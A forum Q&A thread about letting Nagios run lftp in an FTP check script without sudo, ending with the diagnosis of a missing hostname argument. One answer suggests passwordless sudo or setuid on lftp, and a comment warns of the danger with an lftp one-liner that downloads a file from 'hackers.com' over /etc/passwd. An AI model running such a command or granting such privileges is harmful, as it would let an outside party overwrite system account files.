1

Nagios on my server isn't working properly. It can't execute command lftp without "sudo". Is there a way how to allow nagios run commands without using "sudo"?

My /etc/group: nagios:x:107:www-data,nagios

Script using lftp: -rwxr-xr-x 1 root nagios 3667 říj 20 12:20 check_ftp_fully

/usr/bin/lftp: -rwxr-xr-x 1 root root 924936 srp 7 2013 lftp

Btw I've tried this answer with no success. Still doesn't work.

EDIT: The script is called by Nagios as $USER5$/check_ftp_fully.sh <username> <password> <port> . The checking script is here. It fails on listing a directory (FTP check failed when trying to list the contents of a directory.)

EDIT2: The Nagios problem isn't as important as the knowledge IF and HOW can I run commands without "sudo ". E.g. mkdir in /etc

Improve this question
2
  • 1
    Two critical bits of information are missing: 1) How lftp is being called? The most interesting part is if you're using the full path to the binary of not. 2) How precisely does it fail?
    – kostix
    Oct 20, 2014 at 11:23
  • As you describe calling of the script in your question you omitted the fourth parameter - hostname (in the script: HOSTNAME=${4}). Without this parameter lftp could certainly fail and the result of such a failure in check_ftp_fully.sh is writing of the message CRITICAL: FTP check failed when trying to list the contents of a directory.
    – pabouk - Ukraine stay strong
    Dec 9, 2014 at 0:52

2 Answers 2

Reset to default
2

The script is called by Nagios as ./check_ftp_fully.sh

The leading ./ here suggests that you are running the script from the directory where the script lives. I am speculating that you do not have write access to this directory (as indeed you should not). Change the invoking script so that it runs in your home directory (or, say, /tmp) with a full path to the check_ftp_fully.sh script instead. Better yet, or even in addition, change the test script so that it creates a temporary directory, and removes it when it's done (even in the case of e.g. a syntax error; see trap)

Improve this answer
1
  • +1 for your good observation, I've created $USER5$ (path variable) and used it, unfortunately it's still not the answer to my main question.
    – Jakub Turcovsky
    Oct 20, 2014 at 17:30
1

there might be several solutions

  1. either enable nagios in sudoers file to run sudo without password confirmation and from check_ftp_fully run the 'sudo lftp'

  2. setuid on lftp

both can be a security breach, this is up to you which doors you want to open :)

Improve this answer
5
  • 1
    Why are you suggesting root privileges to lftp? The program normally does not need them.
    – pabouk - Ukraine stay strong
    Oct 20, 2014 at 11:44
  • The lftp itself doesn't need the root privileges, this is only if needs to access protected files, or to write in folders where a "normal" user shouldn't.
    – Ovidiu Andoniu
    Dec 8, 2014 at 15:08
  • I understand your concern @pabouk, as I said, this can be a huge security breach Imagine this command on elevated lftp: lftp -e 'set net:timeout 10; get passwd -o /etc/passwd; bye' -u user,password hackers.com
    – Ovidiu Andoniu
    Dec 8, 2014 at 15:21
  • In similar situations (like writing to a directory with limited access rights) it is certainly better to download to a temporary location and elevate the privileges only for moving of the file to the restricted location. --- but anyway in this question I think that the problem could be in a missing parameter. I checked the script. See my comment.
    – pabouk - Ukraine stay strong
    Dec 9, 2014 at 0:57
  • You're right! :)
    – Ovidiu Andoniu
    Dec 12, 2014 at 15:16

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .